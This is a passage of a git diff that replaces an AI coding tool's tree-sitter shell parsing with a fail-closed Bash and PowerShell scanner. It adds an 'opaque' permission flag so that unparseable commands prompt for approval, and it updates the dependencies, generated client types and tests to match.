diff --git a/.changeset/shell-permission-scan.md b/.changeset/shell-permission-scan.md
new file mode 100644
index 00000000000..5da73bd0775
--- /dev/null
+++ b/.changeset/shell-permission-scan.md
@@ -0,0 +1,8 @@
+---
+"@opencode-ai/core": minor
+"@opencode-ai/schema": minor
+"@opencode-ai/protocol": minor
+"@opencode-ai/client": minor
+---
+
+Replace Core shell permission parsing with portable, fail-closed Bash and PowerShell scanners.
diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
index 5dce1b33f04..a0a82b1610c 100644
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@@ -76,6 +76,16 @@ jobs:
env:
OPENCODE_EXPERIMENTAL_DISABLE_FILEWATCHER: ${{ runner.os == 'Windows' && 'true' || 'false' }}
+ - name: Verify PowerShell 7 scanner conformance
+ if: always() && runner.os == 'Windows'
+ working-directory: packages/shell-scan
+ run: PWSH=pwsh bun run research:powershell
+
+ - name: Verify Windows PowerShell scanner conformance
+ if: always() && runner.os == 'Windows'
+ working-directory: packages/shell-scan
+ run: PWSH=powershell.exe bun run research:powershell
+
- name: Verify compiled service lifecycle
if: always()
timeout-minutes: 10
diff --git a/bun.lock b/bun.lock
index bfc1aa2e0a1..0d032ee3e7b 100644
--- a/bun.lock
+++ b/bun.lock
@@ -145,10 +145,7 @@
"open": "10.1.2",
"semver": "catalog:",
"solid-js": "catalog:",
- "tree-sitter-bash": "0.25.0",
- "tree-sitter-powershell": "0.25.10",
"uqr": "0.1.3",
- "web-tree-sitter": "0.25.10",
"ws": "8.21.0",
},
"devDependencies": {
@@ -391,10 +388,7 @@
"immer": "11.1.4",
"jsonc-parser": "3.3.1",
"mime-types": "3.0.2",
- "tree-sitter-bash": "0.25.0",
- "tree-sitter-powershell": "0.25.10",
"venice-ai-sdk-provider": "2.1.1",
- "web-tree-sitter": "0.25.10",
"which": "6.0.1",
"zod": "catalog:",
},
@@ -402,6 +396,7 @@
"@effect/platform-node": "catalog:",
"@effect/sql-sqlite-bun": "catalog:",
"@opencode-ai/http-recorder": "workspace:*",
+ "@opencode-ai/shell-scan": "workspace:*",
"@parcel/watcher-darwin-arm64": "2.5.1",
"@parcel/watcher-darwin-x64": "2.5.1",
"@parcel/watcher-linux-arm64-glibc": "2.5.1",
@@ -770,6 +765,15 @@
"vite": "catalog:",
},
},
+ "packages/shell-scan": {
+ "name": "@opencode-ai/shell-scan",
+ "version": "0.0.0",
+ "devDependencies": {
+ "@tsconfig/bun": "catalog:",
+ "@types/bun": "catalog:",
+ "@typescript/native-preview": "catalog:",
+ },
+ },
"packages/simulation": {
"name": "@opencode-ai/simulation",
"version": "1.17.13",
@@ -1120,12 +1124,9 @@
},
},
"trustedDependencies": [
- "esbuild",
- "tree-sitter-powershell",
- "protobufjs",
"electron",
- "web-tree-sitter",
- "tree-sitter-bash",
+ "esbuild",
+ "protobufjs",
],
"patchedDependencies": {
"@pierre/trees@1.0.0-beta.4": "patches/@pierre%2Ftrees@1.0.0-beta.4.patch",
@@ -2156,6 +2157,8 @@
"@opencode-ai/session-ui": ["@opencode-ai/session-ui@workspace:packages/session-ui"],
+ "@opencode-ai/shell-scan": ["@opencode-ai/shell-scan@workspace:packages/shell-scan"],
+
"@opencode-ai/simulation": ["@opencode-ai/simulation@workspace:packages/simulation"],
"@opencode-ai/slack": ["@opencode-ai/slack@workspace:packages/slack"],
@@ -5738,10 +5741,6 @@
"traverse": ["traverse@0.3.9", "", {}, "sha512-iawgk0hLP3SxGKDfnDJf8wTz4p2qImnyihM5Hh/sGvQ3K37dPi/w8sRhdNIxYA1TwFwc5mDhIJq+O0RsvXBKdQ=="],
- "tree-sitter-bash": ["tree-sitter-bash@0.25.0", "", { "dependencies": { "node-addon-api": "^8.2.1", "node-gyp-build": "^4.8.2" }, "peerDependencies": { "tree-sitter": "^0.25.0" }, "optionalPeers": ["tree-sitter"] }, "sha512-gZtlj9+qFS81qKxpLfD6H0UssQ3QBc/F0nKkPsiFDyfQF2YBqYvglFJUzchrPpVhZe9kLZTrJ9n2J6lmka69Vg=="],
-
- "tree-sitter-powershell": ["tree-sitter-powershell@0.25.10", "", { "dependencies": { "node-addon-api": "^7.1.0", "node-gyp-build": "^4.8.0" }, "peerDependencies": { "tree-sitter": "^0.25.0" }, "optionalPeers": ["tree-sitter"] }, "sha512-bEt8QoySpGFnU3aa8WedQyNMaN6aTwy/WUbvIVt0JSKF+BbJoSHNHu+wCbhj7xLMsfB0AuffmiJm+B8gzva8Lg=="],
-
"treeverse": ["treeverse@3.0.0", "", {}, "sha512-gcANaAnd2QDZFmHFEOF4k7uc1J/6a6z3DJMd/QwEyxLoKGiptJRwid582r7QIsFlFMIZ3SnxfS52S4hm2DHkuQ=="],
"trim-lines": ["trim-lines@3.0.1", "", {}, "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg=="],
@@ -7034,8 +7033,6 @@
"tiny-async-pool/semver": ["semver@5.7.2", "", { "bin": { "semver": "bin/semver" } }, "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g=="],
- "tree-sitter-bash/node-addon-api": ["node-addon-api@8.9.1", "", {}, "sha512-4eUQWVPCUUUiBjLnHS3cXWeC6ryoPUc0U3rP7IuzapoGbzMqd/r6KKO0clr0b+snQhsrueFEhCZDdK+LK7hxKg=="],
-
"tw-to-css/postcss": ["postcss@8.4.31", "", { "dependencies": { "nanoid": "^3.3.6", "picocolors": "^1.0.0", "source-map-js": "^1.0.2" } }, "sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ=="],
"tw-to-css/tailwindcss": ["tailwindcss@3.3.2", "", { "dependencies": { "@alloc/quick-lru": "^5.2.0", "arg": "^5.0.2", "chokidar": "^3.5.3", "didyoumean": "^1.2.2", "dlv": "^1.1.3", "fast-glob": "^3.2.12", "glob-parent": "^6.0.2", "is-glob": "^4.0.3", "jiti": "^1.18.2", "lilconfig": "^2.1.0", "micromatch": "^4.0.5", "normalize-path": "^3.0.0", "object-hash": "^3.0.0", "picocolors": "^1.0.0", "postcss": "^8.4.23", "postcss-import": "^15.1.0", "postcss-js": "^4.0.1", "postcss-load-config": "^4.0.1", "postcss-nested": "^6.0.1", "postcss-selector-parser": "^6.0.11", "postcss-value-parser": "^4.2.0", "resolve": "^1.22.2", "sucrase": "^3.32.0" }, "bin": { "tailwind": "lib/cli.js", "tailwindcss": "lib/cli.js" } }, "sha512-9jPkMiIBXvPc2KywkraqsUfbfj+dHDb+JPWtSJa9MLFdrPyazI7q6WX2sUrm7R9eVR7qqv3Pas7EvQFzxKnI6w=="],
diff --git a/package.json b/package.json
index b02d3dda1ad..9803b1bdf96 100644
--- a/package.json
+++ b/package.json
@@ -145,10 +145,6 @@
"esbuild",
"node-pty",
"protobufjs",
- "tree-sitter",
- "tree-sitter-bash",
- "tree-sitter-powershell",
- "web-tree-sitter",
"electron"
],
"overrides": {
diff --git a/packages/app/e2e/regression/session-request-docks.spec.ts b/packages/app/e2e/regression/session-request-docks.spec.ts
index 5feb6670a3d..dfa3a02be37 100644
--- a/packages/app/e2e/regression/session-request-docks.spec.ts
+++ b/packages/app/e2e/regression/session-request-docks.spec.ts
@@ -87,7 +87,7 @@ test("shows a pending permission dock", async ({ page }) => {
permission: "bash",
patterns: ["git status", "git diff"],
metadata: {},
- always: [],
+ always: ["git *"],
},
],
})
diff --git a/packages/app/src/pages/session/composer/session-permission-dock.tsx b/packages/app/src/pages/session/composer/session-permission-dock.tsx
index 4b2c09a238b..41c1211b50d 100644
--- a/packages/app/src/pages/session/composer/session-permission-dock.tsx
+++ b/packages/app/src/pages/session/composer/session-permission-dock.tsx
@@ -37,14 +37,16 @@ export function SessionPermissionDock(props: {
-
+
+
+
diff --git a/packages/cli/package.json b/packages/cli/package.json
index 5f0ea9dddf7..94a4b20aee6 100644
--- a/packages/cli/package.json
+++ b/packages/cli/package.json
@@ -40,9 +40,6 @@
"open": "10.1.2",
"semver": "catalog:",
"solid-js": "catalog:",
- "tree-sitter-bash": "0.25.0",
- "tree-sitter-powershell": "0.25.10",
- "web-tree-sitter": "0.25.10",
"uqr": "0.1.3",
"ws": "8.21.0"
},
diff --git a/packages/cli/script/node-assets.ts b/packages/cli/script/node-assets.ts
index 192920a487b..f7c65f61cc0 100644
--- a/packages/cli/script/node-assets.ts
+++ b/packages/cli/script/node-assets.ts
@@ -3,7 +3,7 @@ import { copyFile, mkdir, readdir, readFile, stat } from "node:fs/promises"
import path from "node:path"
import { fileURLToPath } from "node:url"
import { getNodeAssets } from "@opentui/core/node-assets"
-import { attentionSoundAssets, type NodeTarget, photonWasmAsset, shellParserWasmAssets } from "../src/node/target"
+import { attentionSoundAssets, type NodeTarget, photonWasmAsset } from "../src/node/target"
const dir = path.resolve(import.meta.dirname, "..")
@@ -43,10 +43,6 @@ export async function collectNodeAssets(target: NodeTarget) {
key: photonWasmAsset,
source: fileURLToPath(import.meta.resolve(photonWasmAsset)),
},
- ...Object.values(shellParserWasmAssets).map((key) => ({
- key,
- source: fileURLToPath(import.meta.resolve(key)),
- })),
...attentionSoundAssets.map((key) => ({
key,
source: path.resolve(dir, "../ui/src/assets/audio", path.basename(key)),
diff --git a/packages/cli/src/acp/permission.ts b/packages/cli/src/acp/permission.ts
index cef7fc2cf4c..683e1efe22e 100644
--- a/packages/cli/src/acp/permission.ts
+++ b/packages/cli/src/acp/permission.ts
@@ -47,7 +47,7 @@ export async function replyPermission(input: {
locations: permissionLocations(toolName, toolInput, input.event.data.resources, input.cwd, previews),
...(previews.length > 0 ? { content: previews } : {}),
},
- options,
+ options: input.event.data.save?.length ? options : options.filter((option) => option.optionId !== "always"),
})
.catch(() => undefined)
const selected = result?.outcome.outcome === "selected" ? result.outcome.optionId : undefined
diff --git a/packages/cli/src/node/target.ts b/packages/cli/src/node/target.ts
index 4e62e4a02d9..f39db8f820c 100644
--- a/packages/cli/src/node/target.ts
+++ b/packages/cli/src/node/target.ts
@@ -29,11 +29,6 @@ export function nodeTarget(platform: string, arch: string) {
}
export const photonWasmAsset = "@silvia-odwyer/photon-node/photon_rs_bg.wasm"
-export const shellParserWasmAssets = {
- runtime: "web-tree-sitter/tree-sitter.wasm",
- bash: "tree-sitter-bash/tree-sitter-bash.wasm",
- powershell: "tree-sitter-powershell/tree-sitter-powershell.wasm",
-} as const
export const nodeExecArgv = ["--experimental-ffi", "--use-system-ca", "--disable-warning=ExperimentalWarning"] as const
export const attentionSoundAssets = [
diff --git a/packages/cli/test/acp/permission-behavior.test.ts b/packages/cli/test/acp/permission-behavior.test.ts
index 0290c873040..c207599dc14 100644
--- a/packages/cli/test/acp/permission-behavior.test.ts
+++ b/packages/cli/test/acp/permission-behavior.test.ts
@@ -49,6 +49,7 @@ describe("acp permission behavior", () => {
send(
permissionAsked("ses_allow", "perm_always", {
action: "read",
+ save: ["/workspace/file.ts"],
metadata: { path: "/workspace/file.ts" },
source: { type: "tool", messageID: "msg_allow", id: "call_always" },
}),
@@ -84,10 +85,10 @@ describe("acp permission behavior", () => {
},
options: [
{ optionId: "once", kind: "allow_once", name: "Allow once" },
- { optionId: "always", kind: "allow_always", name: "Always allow" },
{ optionId: "reject", kind: "reject_once", name: "Reject" },
],
})
+ expect(permissionRequests[0]?.options.map((option) => option.optionId)).toEqual(["once", "reject"])
expect(permissionRequests[1]).toMatchObject({
sessionId: "ses_allow",
toolCall: {
@@ -557,6 +558,7 @@ function permissionAsked(
input: {
readonly action?: string
readonly metadata?: Record
+ readonly save?: string[]
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
} = {},
) {
@@ -565,6 +567,7 @@ function permissionAsked(
sessionID,
action: input.action ?? "shell",
resources: ["*"],
+ ...(input.save ? { save: input.save } : {}),
metadata: input.metadata ?? { command: "printf hello" },
...(input.source ? { source: input.source } : {}),
})
diff --git a/packages/cli/test/node-assets.test.ts b/packages/cli/test/node-assets.test.ts
index 2e0fac9f221..4c953a5b789 100644
--- a/packages/cli/test/node-assets.test.ts
+++ b/packages/cli/test/node-assets.test.ts
@@ -1,17 +1,10 @@
import { expect, test } from "bun:test"
-import { fileURLToPath } from "node:url"
import { collectNodeAssets } from "../script/node-assets"
-import { nodeTarget, shellParserWasmAssets } from "../src/node/target"
+import { nodeTarget } from "../src/node/target"
test("collects each SEA asset key once", async () => {
const assets = await collectNodeAssets(nodeTarget(process.platform, process.arch))
const keys = assets.map((asset) => asset.key)
expect(new Set(keys).size).toBe(keys.length)
- expect(assets.filter((asset) => asset.key === shellParserWasmAssets.runtime)).toEqual([
- {
- key: shellParserWasmAssets.runtime,
- source: fileURLToPath(import.meta.resolve(shellParserWasmAssets.runtime)),
- },
- ])
})
diff --git a/packages/cli/vite.node.config.ts b/packages/cli/vite.node.config.ts
index 3cae0d7ec77..c9cbd54aba8 100644
--- a/packages/cli/vite.node.config.ts
+++ b/packages/cli/vite.node.config.ts
@@ -3,7 +3,7 @@ import { readFile } from "node:fs/promises"
import { createRequire } from "node:module"
import { defineConfig, type Plugin, type UserConfig } from "vite"
import solid from "vite-plugin-solid"
-import { nodeExecArgv, nodeTarget, type NodeTarget, photonWasmAsset, shellParserWasmAssets } from "./src/node/target"
+import { nodeExecArgv, nodeTarget, type NodeTarget, photonWasmAsset } from "./src/node/target"
const dir = import.meta.dirname
@@ -212,9 +212,6 @@ process.env.OTUI_ASSET_ROOT = __ocAssetRoot
process.env.OPENCODE_NODE_PTY_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.nodePtyEntryAsset)})
process.env.OPENCODE_PARCEL_WATCHER_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.parcelWatcherAsset)})
process.env.OPENCODE_PHOTON_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(photonWasmAsset)})
-process.env.OPENCODE_TREE_SITTER_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.runtime)})
-process.env.OPENCODE_TREE_SITTER_BASH_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.bash)})
-process.env.OPENCODE_TREE_SITTER_POWERSHELL_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.powershell)})
process.env.FFF_BINARY_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.fffAsset)})
process.env.OPENCODE_FFF_FFI_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.fffFfiAsset)})
try {
diff --git a/packages/client/src/effect/api/api.ts b/packages/client/src/effect/api/api.ts
index cb116cfcaf3..879219e8338 100644
--- a/packages/client/src/effect/api/api.ts
+++ b/packages/client/src/effect/api/api.ts
@@ -1315,6 +1315,7 @@ export type Endpoint15_3Input = {
readonly action: string
readonly resources: ReadonlyArray
readonly save?: ReadonlyArray | undefined
+ readonly opaque?: boolean | undefined
readonly metadata?: { readonly [x: string]: unknown } | undefined
readonly source?: Permission.Source | undefined
readonly agent?: Agent.ID | undefined
diff --git a/packages/client/src/effect/generated/client.ts b/packages/client/src/effect/generated/client.ts
index 33df187ba1a..a5dcfacf2c1 100644
--- a/packages/client/src/effect/generated/client.ts
+++ b/packages/client/src/effect/generated/client.ts
@@ -982,6 +982,7 @@ const Endpoint15_3 = (raw: RawClient["server.permission"]) => (input: Endpoint15
action: input["action"],
resources: input["resources"],
save: input["save"],
+ opaque: input["opaque"],
metadata: input["metadata"],
source: input["source"],
agent: input["agent"],
diff --git a/packages/client/src/promise/generated/client.ts b/packages/client/src/promise/generated/client.ts
index 3a15218da5d..315e6ca3c3d 100644
--- a/packages/client/src/promise/generated/client.ts
+++ b/packages/client/src/promise/generated/client.ts
@@ -1402,6 +1402,7 @@ export function make(options: ClientOptions) {
action: input["action"],
resources: input["resources"],
save: input["save"],
+ opaque: input["opaque"],
metadata: input["metadata"],
source: input["source"],
agent: input["agent"],
diff --git a/packages/client/src/promise/generated/types.ts b/packages/client/src/promise/generated/types.ts
index cdc40a123ca..6ee3b26aca2 100644
--- a/packages/client/src/promise/generated/types.ts
+++ b/packages/client/src/promise/generated/types.ts
@@ -1379,6 +1379,7 @@ export type PermissionRequest = {
action: string
resources: Array
save?: Array
+ opaque?: boolean
metadata?: { [x: string]: JsonValue }
source?: PermissionSource
}
@@ -1395,6 +1396,7 @@ export type PermissionAsked = {
action: string
resources: Array
save?: Array
+ opaque?: boolean
metadata?: { [x: string]: any }
source?: PermissionSource
}
@@ -5239,6 +5241,7 @@ export type PermissionCreateInput = {
readonly action: string
readonly resources: ReadonlyArray
readonly save?: ReadonlyArray
+ readonly opaque?: boolean
readonly metadata?: { readonly [x: string]: JsonValue }
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
readonly agent?: string | null
@@ -5248,6 +5251,7 @@ export type PermissionCreateInput = {
readonly action: string
readonly resources: ReadonlyArray
readonly save?: ReadonlyArray
+ readonly opaque?: boolean
readonly metadata?: { readonly [x: string]: JsonValue }
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
readonly agent?: string | null
@@ -5257,6 +5261,7 @@ export type PermissionCreateInput = {
readonly action: string
readonly resources: ReadonlyArray
readonly save?: ReadonlyArray
+ readonly opaque?: boolean
readonly metadata?: { readonly [x: string]: JsonValue }
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
readonly agent?: string | null
@@ -5266,15 +5271,27 @@ export type PermissionCreateInput = {
readonly action: string
readonly resources: ReadonlyArray
readonly save?: ReadonlyArray
+ readonly opaque?: boolean
readonly metadata?: { readonly [x: string]: JsonValue }
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
readonly agent?: string | null
}["save"]
+ readonly opaque?: {
+ readonly id?: string | null
+ readonly action: string
+ readonly resources: ReadonlyArray
+ readonly save?: ReadonlyArray
+ readonly opaque?: boolean
+ readonly metadata?: { readonly [x: string]: JsonValue }
+ readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
+ readonly agent?: string | null
+ }["opaque"]
readonly metadata?: {
readonly id?: string | null
readonly action: string
readonly resources: ReadonlyArray
readonly save?: ReadonlyArray
+ readonly opaque?: boolean
readonly metadata?: { readonly [x: string]: JsonValue }
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
readonly agent?: string | null
@@ -5284,6 +5301,7 @@ export type PermissionCreateInput = {
readonly action: string
readonly resources: ReadonlyArray
readonly save?: ReadonlyArray
+ readonly opaque?: boolean
readonly metadata?: { readonly [x: string]: JsonValue }
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
readonly agent?: string | null
@@ -5293,6 +5311,7 @@ export type PermissionCreateInput = {
readonly action: string
readonly resources: ReadonlyArray
readonly save?: ReadonlyArray
+ readonly opaque?: boolean
readonly metadata?: { readonly [x: string]: JsonValue }
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
readonly agent?: string | null
diff --git a/packages/core/package.json b/packages/core/package.json
index 0d3fc015e8b..14e6427d4d5 100644
--- a/packages/core/package.json
+++ b/packages/core/package.json
@@ -53,12 +53,6 @@
"node": "./src/image/photon-wasm.node.ts",
"default": "./src/image/photon-wasm.bun.ts"
},
- "#shell-parser-wasm": {
- "workerd": "./src/shell/parser-wasm.workerd.ts",
- "bun": "./src/shell/parser-wasm.bun.ts",
- "node": "./src/shell/parser-wasm.node.ts",
- "default": "./src/shell/parser-wasm.bun.ts"
- },
"#process-lock-ffi": {
"workerd": "./src/util/process-lock-ffi.workerd.ts",
"bun": "./src/util/process-lock-ffi.bun.ts",
@@ -80,6 +74,7 @@
"@types/bun": "catalog:",
"@types/node": "catalog:",
"@types/which": "3.0.4",
+ "@opencode-ai/shell-scan": "workspace:*",
"@parcel/watcher-darwin-arm64": "2.5.1",
"@parcel/watcher-darwin-x64": "2.5.1",
"@parcel/watcher-linux-arm64-glibc": "2.5.1",
@@ -136,10 +131,7 @@
"ignore": "7.0.5",
"jsonc-parser": "3.3.1",
"mime-types": "3.0.2",
- "tree-sitter-bash": "0.25.0",
- "tree-sitter-powershell": "0.25.10",
"venice-ai-sdk-provider": "2.1.1",
- "web-tree-sitter": "0.25.10",
"which": "6.0.1",
"zod": "catalog:"
}
diff --git a/packages/core/script/build.ts b/packages/core/script/build.ts
index bf8eec926e4..77b09328b4e 100644
--- a/packages/core/script/build.ts
+++ b/packages/core/script/build.ts
@@ -19,7 +19,17 @@ const result = await Bun.build({
target: "node",
format: "esm",
packages: "external",
- external: ["#sqlite", "#pty", "#fff", "#photon-wasm", "#shell-parser-wasm", "#process-lock-ffi", "#v1-migration"],
+ external: ["#sqlite", "#pty", "#fff", "#photon-wasm", "#process-lock-ffi", "#v1-migration"],
+ plugins: [
+ {
+ name: "bundle-shell-scan",
+ setup(build) {
+ build.onResolve({ filter: /^@opencode-ai\/shell-scan$/ }, () => ({
+ path: path.resolve("../shell-scan/src/index.ts"),
+ }))
+ },
+ },
+ ],
splitting: true,
loader: {
".txt": "text",
diff --git a/packages/core/src/permission.ts b/packages/core/src/permission.ts
index d7c6bf34ea9..84f2b423ef0 100644
--- a/packages/core/src/permission.ts
+++ b/packages/core/src/permission.ts
@@ -1,7 +1,7 @@
export * as Permission from "./permission.js"
import { makeLocationNode } from "@opencode-ai/util/effect/app-node"
-import { Context, Deferred, Effect, Layer, Schema } from "effect"
+import { Context, Deferred, Effect, Layer, Schema, Struct } from "effect"
import { Permission } from "@opencode-ai/schema/permission"
import { Bus } from "./bus.js"
import { Location } from "./location.js"
@@ -23,15 +23,6 @@ export type ID = typeof ID.Type
export const Source = Permission.Source
export type Source = typeof Source.Type
-const RequestFields = {
- sessionID: Permission.Request.fields.sessionID,
- action: Permission.Request.fields.action,
- resources: Permission.Request.fields.resources,
- save: Permission.Request.fields.save,
- metadata: Permission.Request.fields.metadata,
- source: Permission.Request.fields.source,
-}
-
export const Request = Permission.Request
export type Request = typeof Request.Type
@@ -40,7 +31,7 @@ export type Reply = typeof Reply.Type
export const AssertInput = Schema.Struct({
id: ID.pipe(Schema.optional),
- ...RequestFields,
+ ...Struct.omit(Permission.Request.fields, ["id"]),
agent: Agent.ID.pipe(Schema.optional),
}).annotate({ identifier: "Permission.AssertInput" })
export type AssertInput = typeof AssertInput.Type
@@ -94,6 +85,16 @@ export function evaluate(action: string, resource: string, ...rulesets: Permissi
)
}
+function evaluateOpaque(action: string, rules: Permission.Ruleset): Permission.Rule {
+ return (
+ rules.findLast((rule) => Wildcard.match(action, rule.action) && rule.resource === "*") ?? {
+ action,
+ resource: "*",
+ effect: "ask",
+ }
+ )
+}
+
export function merge(...rulesets: Permission.Ruleset[]): Permission.Ruleset {
return rulesets.flat()
}
@@ -178,6 +179,13 @@ const layer = Layer.effect(
})
function denied(input: AssertInput, rules: Permission.Ruleset) {
+ if (input.opaque)
+ return rules.some(
+ (rule) =>
+ rule.effect === "deny" &&
+ Wildcard.match(input.action, rule.action) &&
+ input.resources.some((resource) => resource === "*" || Wildcard.match(resource, rule.resource)),
+ )
return input.resources.some((resource) => evaluate(input.action, resource, rules).effect === "deny")
}
@@ -187,9 +195,27 @@ const layer = Layer.effect(
const evaluateInput = Effect.fnUntraced(function* (input: AssertInput) {
const rules = yield* configured(input.sessionID, input.agent)
+ if (input.resources.length === 0) return { effect: "deny" as const, rules }
if (denied(input, rules)) return { effect: "deny" as const, rules }
- const all = [...rules, ...(yield* savedRules())]
- const effects = input.resources.map((resource) => evaluate(input.action, resource, all).effect)
+ if (
+ input.opaque &&
+ rules.some(
+ (rule) => rule.effect !== "allow" && rule.resource !== "*" && Wildcard.match(input.action, rule.action),
+ )
+ )
+ return { effect: "ask" as const, rules }
+ const saved = yield* savedRules()
+ if (
+ input.opaque &&
+ input.resources.every((resource) =>
+ saved.some((rule) => Wildcard.match(input.action, rule.action) && rule.resource === resource),
+ )
+ )
+ return { effect: "allow" as const, rules: [...rules, ...saved] }
+ const all = [...rules, ...saved]
+ const effects = input.opaque
+ ? [evaluateOpaque(input.action, all).effect]
+ : input.resources.map((resource) => evaluate(input.action, resource, all).effect)
const effect: Permission.Effect = effects.includes("deny") ? "deny" : effects.includes("ask") ? "ask" : "allow"
return { effect, rules: all }
})
@@ -200,7 +226,8 @@ const layer = Layer.effect(
sessionID: input.sessionID,
action: input.action,
resources: input.resources,
- save: input.save,
+ save: input.opaque ? input.resources : input.save,
+ opaque: input.opaque,
metadata: input.metadata,
source: input.source,
}
@@ -299,21 +326,11 @@ const layer = Layer.effect(
pending.delete(input.requestID)
if (input.reply !== "always" || !existing.request.save?.length) return
- const rememberedRules = yield* savedRules()
for (const [id, item] of pending) {
- const input = { ...item.request }
- const rules = yield* configured(item.request.sessionID, item.agent).pipe(
+ const result = yield* evaluateInput({ ...item.request, agent: item.agent }).pipe(
Effect.catchTag("Session.NotFoundError", () => Effect.succeed(undefined)),
)
- if (!rules) continue
- if (denied(input, rules)) continue
- const effective = [...rules, ...rememberedRules]
- if (
- !item.request.resources.every(
- (resource) => evaluate(item.request.action, resource, effective).effect === "allow",
- )
- )
- continue
+ if (!result || result.effect !== "allow") continue
yield* bus.publish(Permission.Event.Replied, {
sessionID: item.request.sessionID,
requestID: item.request.id,
diff --git a/packages/core/src/shell/parse.ts b/packages/core/src/shell/parse.ts
index 02c035858f2..8e398bb8b95 100644
--- a/packages/core/src/shell/parse.ts
+++ b/packages/core/src/shell/parse.ts
@@ -1,15 +1,12 @@
export * as ShellParse from "./parse.js"
import { Effect } from "effect"
-import { fileURLToPath } from "url"
+import { ShellScan } from "@opencode-ai/shell-scan"
import os from "os"
import path from "path"
-import type { Node } from "web-tree-sitter"
-import { shellParserWasm } from "#shell-parser-wasm"
import { ShellSelect } from "./select.js"
-type Part = { type: string; text: string }
-const CWD = new Set(["cd", "chdir", "popd", "pushd", "push-location", "set-location"])
+const CWD = new Set(["cd", "chdir", "popd", "pushd", "push-location", "set-location", "sl"])
const POWERSHELL_PATH_FLAGS = new Set(["-literalpath", "-path"])
const ARITY: Record = {
@@ -153,77 +150,71 @@ const ARITY: Record = {
}
export const scan = Effect.fn("ShellParse.scan")(function* (command: string, shell: string, cwd: string) {
- const parsers = yield* Effect.promise(load)
- const powershell = ShellSelect.ps(shell)
- const tree = (powershell ? parsers.ps : parsers.bash).parse(command)
- if (!tree) return yield* Effect.fail(new Error("Failed to parse shell command"))
-
- return yield* Effect.acquireUseRelease(
- Effect.succeed(tree),
- (tree) =>
- Effect.sync(() =>
- tree.rootNode.descendantsOfType("command").reduce(
- (result, node) => {
- if (!node) return result
- const command = parts(node)
- const tokens = command.map((part) => part.text)
- if (tokens.length === 0) return result
- const name = powershell ? tokens[0].toLowerCase() : tokens[0]
- if (CWD.has(name)) {
- result.directories.push(...directoryArgs(command, powershell, cwd, shell))
- return result
- }
- result.commands.push({
- resource: (node.parent?.type === "redirected_statement" ? node.parent.text : node.text).trim(),
- save: `${prefix(tokens).join(" ")} *`,
- })
- return result
- },
- { commands: [] as Array<{ resource: string; save: string }>, directories: [] as string[] },
- ),
- ),
- (tree) => Effect.sync(() => tree.delete()),
- )
+ return scanCommands(command, cwd, shell, ShellSelect.ps(shell))
})
-function parts(node: Node) {
- return Array.from({ length: node.childCount }).flatMap((_, index): Part[] => {
- const child = node.child(index)
- if (!child) return []
- if (child.type === "command_elements")
- return Array.from({ length: child.childCount }).flatMap((_, itemIndex): Part[] => {
- const item = child.child(itemIndex)
- if (!item || item.type === "command_argument_sep" || item.type === "redirection") return []
- return [{ type: item.type, text: item.text }]
- })
- if (!["command_name", "command_name_expr", "word", "string", "raw_string", "concatenation"].includes(child.type))
- return []
- return [{ type: child.type, text: child.text }]
- })
+function scanCommands(command: string, cwd: string, shell: string, powershell: boolean) {
+ const result = powershell ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
+ if (result.kind === "opaque")
+ return {
+ commands: [{ resource: command, save: command }],
+ directories: [],
+ opaque: true,
+ directoryUnknown: true,
+ }
+ if (
+ result.commands.some((item) => {
+ const name = powershell ? item.words[0]?.toLowerCase() : item.words[0]
+ if (!name || !CWD.has(name) || name === "popd" || name === "pop-location") return false
+ return directoryArgs(item.words, powershell, cwd, shell).length === 0
+ })
+ )
+ return { commands: [{ resource: command }], directories: [], opaque: true, directoryUnknown: true }
+ return result.commands.reduce(
+ (output, item) => {
+ const name = powershell ? item.words[0]?.toLowerCase() : item.words[0]
+ if (!name) return output
+ if (CWD.has(name)) {
+ output.directories.push(...directoryArgs(item.words, powershell, cwd, shell))
+ return output
+ }
+ output.commands.push({ resource: item.resource, save: `${prefix(item.words).join(" ")} *` })
+ return output
+ },
+ {
+ commands: [] as Array<{ resource: string; save: string }>,
+ directories: [] as string[],
+ opaque: false,
+ },
+ )
}
-function directoryArgs(command: Part[], powershell: boolean, cwd: string, shell: string) {
- if (!powershell)
- return command
+function directoryArgs(command: string[], powershell: boolean, cwd: string, shell: string) {
+ if (!powershell) {
+ const values = command
.slice(1)
- .filter((part) => !part.text.startsWith("-"))
- .map((part) => directoryArgument(part.text, powershell, cwd, shell))
+ .filter((part) => !part.startsWith("-"))
+ .map((part) => directoryArgument(part, powershell, cwd, shell))
.filter((part) => part !== undefined)
+ if (command[0] === "cd" && (values.length !== 1 || (!path.isAbsolute(values[0]) && Boolean(process.env.CDPATH))))
+ return []
+ return values
+ }
const directories: string[] = []
- let path = false
+ let expectsPath = false
for (const part of command.slice(1)) {
- if (path) {
